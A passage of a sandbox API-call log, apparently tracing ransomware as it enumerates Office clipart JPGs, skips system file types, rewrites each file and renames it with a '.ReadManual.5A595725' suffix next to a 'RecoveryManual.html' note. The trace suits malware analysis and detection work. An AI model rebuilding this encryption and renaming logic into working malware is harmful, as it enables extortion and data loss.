nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0269.492] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309480.JPG" | out: lpString1="J0309480.JPG") returned="J0309480.JPG" [0269.492] lstrcmpiW (lpString1="J0309480.JPG", lpString2="RecoveryManual.html") returned -1 [0269.492] StrStrIW (lpFirst="J0309480.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.492] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.492] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.492] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.492] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" [0269.492] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.ReadManual.5A595725" [0269.492] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.ReadManual.5A595725") returned 87 [0269.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39016113571) returned 1 [0269.492] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg")) returned 0x20 [0269.493] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.493] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10692) returned 1 [0269.493] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c4, lpName=0x0) returned 0x184 [0269.493] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.494] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.494] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.495] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.496] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29c4) returned 0x2f0000 [0269.496] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.496] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39016485570) returned 1 [0269.496] CloseHandle (hObject=0x184) returned 1 [0269.496] SetSecurityInfo () returned 0x57 [0269.496] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.496] CloseHandle (hObject=0x194) returned 1 [0269.496] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0269.496] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309567.JPG" | out: lpString1="J0309567.JPG") returned="J0309567.JPG" [0269.496] lstrcmpiW (lpString1="J0309567.JPG", lpString2="RecoveryManual.html") returned -1 [0269.497] StrStrIW (lpFirst="J0309567.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.497] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.497] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.497] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.497] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" [0269.497] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ReadManual.5A595725" [0269.497] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ReadManual.5A595725") returned 87 [0269.497] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39016585306) returned 1 [0269.497] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg")) returned 0x20 [0269.498] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.498] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21580) returned 1 [0269.498] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x544c, lpName=0x0) returned 0x184 [0269.498] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.499] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.499] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.501] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.501] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x544c) returned 0x2f0000 [0269.501] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39017010610) returned 1 [0269.501] CloseHandle (hObject=0x184) returned 1 [0269.501] SetSecurityInfo () returned 0x57 [0269.502] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.502] CloseHandle (hObject=0x194) returned 1 [0269.502] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0269.502] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309585.JPG" | out: lpString1="J0309585.JPG") returned="J0309585.JPG" [0269.502] lstrcmpiW (lpString1="J0309585.JPG", lpString2="RecoveryManual.html") returned -1 [0269.502] StrStrIW (lpFirst="J0309585.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.502] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.502] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.502] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.502] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" [0269.502] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ReadManual.5A595725" [0269.502] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ReadManual.5A595725") returned 87 [0269.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39017108110) returned 1 [0269.502] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg")) returned 0x20 [0269.503] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.503] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39563) returned 1 [0269.503] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a8b, lpName=0x0) returned 0x184 [0269.503] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.504] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.504] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.506] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.506] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a8b) returned 0x2f0000 [0269.507] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.507] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39017583185) returned 1 [0269.507] CloseHandle (hObject=0x184) returned 1 [0269.507] SetSecurityInfo () returned 0x57 [0269.507] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.507] CloseHandle (hObject=0x194) returned 1 [0269.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0269.507] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309598.JPG" | out: lpString1="J0309598.JPG") returned="J0309598.JPG" [0269.507] lstrcmpiW (lpString1="J0309598.JPG", lpString2="RecoveryManual.html") returned -1 [0269.507] StrStrIW (lpFirst="J0309598.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.508] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.508] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.508] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" [0269.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ReadManual.5A595725" [0269.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ReadManual.5A595725") returned 87 [0269.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39017680100) returned 1 [0269.508] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg")) returned 0x20 [0269.508] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.509] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33264) returned 1 [0269.509] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81f0, lpName=0x0) returned 0x184 [0269.509] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.510] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.510] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.511] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.512] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81f0) returned 0x2f0000 [0269.513] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.513] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39018157918) returned 1 [0269.513] CloseHandle (hObject=0x184) returned 1 [0269.513] SetSecurityInfo () returned 0x57 [0269.513] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.513] CloseHandle (hObject=0x194) returned 1 [0269.513] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0269.513] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309664.JPG" | out: lpString1="J0309664.JPG") returned="J0309664.JPG" [0269.513] lstrcmpiW (lpString1="J0309664.JPG", lpString2="RecoveryManual.html") returned -1 [0269.513] StrStrIW (lpFirst="J0309664.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.513] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.513] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.513] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.513] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.513] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.513] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.513] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.513] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.514] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.514] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.514] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.514] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.514] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.514] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.514] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" [0269.514] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ReadManual.5A595725" [0269.514] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ReadManual.5A595725") returned 87 [0269.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39018257246) returned 1 [0269.514] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg")) returned 0x20 [0269.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.515] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43707) returned 1 [0269.515] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaabb, lpName=0x0) returned 0x184 [0269.515] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.516] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.516] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.518] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.519] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaabb) returned 0x2f0000 [0269.520] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39018877859) returned 1 [0269.520] CloseHandle (hObject=0x184) returned 1 [0269.520] SetSecurityInfo () returned 0x57 [0269.520] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.520] CloseHandle (hObject=0x194) returned 1 [0269.520] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0269.520] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309705.JPG" | out: lpString1="J0309705.JPG") returned="J0309705.JPG" [0269.520] lstrcmpiW (lpString1="J0309705.JPG", lpString2="RecoveryManual.html") returned -1 [0269.520] StrStrIW (lpFirst="J0309705.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.520] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.521] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.521] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.521] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" [0269.521] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft 